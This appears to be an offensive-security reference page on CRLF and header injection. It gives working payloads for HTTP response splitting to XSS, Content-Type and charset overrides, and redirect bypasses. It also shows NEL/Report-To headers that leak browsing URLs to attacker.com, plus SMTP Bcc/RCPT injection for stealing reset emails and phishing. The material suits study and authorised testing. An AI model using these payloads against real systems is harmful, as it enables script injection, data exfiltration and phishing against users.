CRLF / Header Injection

Manipulate HTTP headers in your favor or insert completely new ones with even more control

HTTP is a plaintext protocol that works with Carriage Return (\r) Line Feed (\n) delimited headers. When user input lands in the response headers from an HTTP server, injecting these CRLF characters can result in some client-side attacks abusing headers.

Response Splitting

The first thing you should think about when you are able to inject a newline into a response, is if you can inject two newlines. This signifies the end of headers and start of body for HTTP responses, so you'll suddenly be writing a body. In HTML this means you can write <script> tags or similar things to achieve Cross-Site Scripting (XSS):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 36
Some-Header: [INPUT]

<body>This is the normal body</body>

In place of [INPUT], we will now put two CRLF sequences followed by the HTML body we want to inject.

Payload: x%0D%0A%0D%0A<script>alert(origin)</script>

Exploit
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 36
Some-Header: x

<script>alert(origin)</script>

<body>This is the normal body</body>

Note that the Content-Length: is still limited, it cuts off the response at the new end, but our injected content comes first:

Example in browser showing injected content and partially original content

Content Type

If the response isn't HTML but something like JSON instead, you can still overwrite the Content-Type: header with another one. The last one counts!

Payload: x%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert(origin)%3C/script%3E

Payload
HTTP/1.1 200 OK
Content-Type: application/json
Some-Header: x
Content-Type: text/html

<script>alert(origin)</script>

{"some": "json"}

More tricks for [INPUT] inside the existing Content-Type header itself can be found in this writeup. It contains a trick to escape the HTML context if your payload in the body is limited.

Charset

If your input is filtered/sanitized, you can also abuse the charset of the content type by overwriting it in a header. The UTF-16 charset, for example, has null bytes in between each character:

Payload: x%0D%0AContent-Type:%20text/html;%20charset=UTF-16%0D%0A%0D%0A%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00(%00o%00r%00i%00g%00i%00n%00)%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

HTTP/1.1 200 OK
Content-Type: application/json
Some-Header: x
Content-Type: text/html; charset=UTF-16

<�s�c�r�i�p�t�>�a�l�e�r�t�(�o�r�i�g�i�n�)�<�/�s�c�r�i�p�t�>�

{"some": "json"}

Redirect with Location:

One common situation is when your injection point is the value of a Location: header in a 30X redirect. The problem is that the browser will normally just redirect to the given location without rendering the body. This prevents us from directly injecting a <script> tag, for example.

Response
HTTP/1.1 302 Found
Content-Type: text/html
Location: [INPUT]

First of all, an open redirect may be possible if the URL isn't validated strictly. See the following examples:

Location: [INPUT]                   -> http://evil.com
Location: /[INPUT]                  -> //evil.com or /\evil.com
Location: http://example.com[INPUT] -> http://[email protected]
Location: /any/path/[INPUT]         -> ../../dangerous/path

This isn't nearly as impactful as XSS though, but fortunately there are some tricks in both Chrome and Firefox that cause it to ignore the redirect and show the body instead. Chrome is the hardest, but simplest to understand. If the Location: is empty it will be ignored, otherwise it won't.

Chrome
Location: 

Some writeups explain that on Firefox there is a more interesting trick, using the resource:// protocol:

Firefox
Location: resource://anything

With the above payloads, you can force the browser to stop redirecting and show the content instead. With the ability to insert newlines in the response you can give it a HTML body with XSS:

Chrome Payload: %0D%0A%0D%0A%3Csvg%20onload=alert()%3E

Location: 

<svg onload=alert()>

Firefox Payload: resource://anything%0D%0A%0D%0A%3Csvg%20onload=alert()%3E

Location: resource://anything

<svg onload=alert()>

Firefox XSS without CRLF

If you have the same injection point in a response both in the Location: and in the body, where you can escape the body for XSS with special characters, you can use the resource:// prefix to ignore the redirect. After ? special characters are allowed:

HTTP/1.1 302 Found
Location: [INPUT]
Content-Type: text/html

<html>Object moved to <a href="[INPUT]">here</a></html>

Payload: resource://test?"><img src onerror=alert()>

Exploit
HTTP/1.1 302 Found
Location: resource://test?"><img src onerror=alert()>
Content-Type: text/html

<html>Object moved to <a href="resource://test?"><img src onerror=alert()>">here</a></html>

If this protocol isn't allowed in your situation, try appending a correct https:// URL after it to see if it performs a partial match.

Response Headers

If response splitting isn't an option for whatever reason, you may still get interesting results out of inject some special headers that the browser understands.

One of the simplest is just setting a cookie in the response with the Set-Cookie: header. This has the same impact as Cookie Tossing, but if you're targeting the same host would also allow setting __Host- prefixed cookies.

You can only set one cookie per header, but this is no problem if you can inject multiple headers. One fact that makes this especially useful is the fact that it works on redirects:

HTTP/1.1 302 Found
Location: /somewhere
Set-Cookie: xss=<script>alert(origin)</script>

The Link: header is a special one that has many different features. In the header value you provide a link in between angle brackets (<>), followed by attributes like rel= that specify what it's used for. Using a comma (,) it's possible to provide multiple link rules in one header.

The following table shows which rel types are recognized. Note that not all of them actually do something, or work in the header instead of a <link> tag:

List of all rel= attributes and their meaning

This header adds the link URL as a stylesheet to the returned page, allowing CSS Injection. The syntax is as follows:

Link: <https://attacker.com>;rel=stylesheet

Only Firefox understands stylesheets through a header, it will be ignored in Chrome. I found this once in the real world in a partial Link: header injection that reflected the URL, to style the 404 page arbitrarily. It also shows that the first rel= attribute takes priority.

rel="preload" with referrerpolicy="unsafe-url"

Due to what's arguably a chrome bug, injecting a header in a subresource request, even a cross-site one, you can leak the current URL in the Referer:. Check out HTML Injection.

NEL (Network Error Logging)

Network Error Logging is a part of the Reporting API, responsible for sending reports about certain things happening in your browser. These reports can be sent externally, for example to a server you control. One of the most useful for attackers is NEL which will log URLs that gave error status codes. Using the success_fraction parameter it's also possible to leak successful URLs. include_subdomains allows leaking URLs upon DNS failures of domains under the one it was set on.

This is all configured using response headers, and once registered, will keep being active for quite a while (not only a single request). First, you need to define an endpoint to report to:

Report-To:
{
  "group": "leak",
  "max_age": 600,
  "include_subdomains": true,
  "endpoints": [
    {
      "url": "https://attacker.com/report"
    }
  ]
}

Then, configure logging 100% of the error and 100% of the successful requests that created endpoint:

NEL:
{
  "report_to": "leak",
  "include_subdomains": true,
  "success_fraction": 1,
  "failure_fraction": 1,
  "max_age": 600
}

Together, the headers you inject should look something like this:

Report-To: {"group":"leak","max_age":600,"include_subdomains":true,"endpoints":[{"url":"https://attacker.com/report"}]}
NEL: {"report_to":"leak","include_subdomains":true,"success_fraction":1,"failure_fraction":1,"max_age":600}

From now on, the next 600 seconds (10 minutes) all top-level requests to the domain that these response headers were set on will be sent to https://attacker.com/report. Requests will be batched and sent every minute, and debugging this can be annoying. There are some tips in the article below to get DevTools to show you which requests are queued:

Explanation of the Reporting API and some debugging tips

You can also use the --short-reporting-delay startup flag in Chrome while testing to make the minute-delay shorter and receive reports instantly.

Tip: while testing, make sure the host and reporting endpoint use https://, and Cloudflare is not overwriting it with its own cf-nel. Set up a working receiving server using interactsh-client -v.

SMTP

Just like HTTP, SMTP for sending emails is also a CRLF-delimited plaintext protocol with headers. These emails are often sent by applications automatically with information to you like a password reset or notifications. Such emails are often sensitive and if an attacker-controlled input can mess with the request it can get leaked, or malicious content can be injected.

A typical SMTP request looks like this:

EHLO
MAIL FROM:[email protected]
RCPT TO:[email protected]
DATA
From: [email protected]
To: [email protected]
Subject: some subject

Content...
.

A common place to inject is the RCPT TO: SMTP header as this is where the email is sent to. By injecting CRLF characters, new headers like RCPT TO:[email protected] to receive a copy of the email in your inbox (very dangerous for secrets like password reset tokens!). More commonly you will also see an injection into the DATA section where headers like Bcc can be added to send a copy to yourself or add content to the email for an indistinguishable phishing attack. A common place is the Subject or From/To headers:

Subject Payload: a%0D%0ABcc:%[email protected]%0D%0A%0D%0A%3Ch1%3EPhishing!%3C/h1%3E

From: [email protected]
To: [email protected]
Subject: a
Bcc: [email protected]

<h1>Phishing!</h1>
Content...

Last updated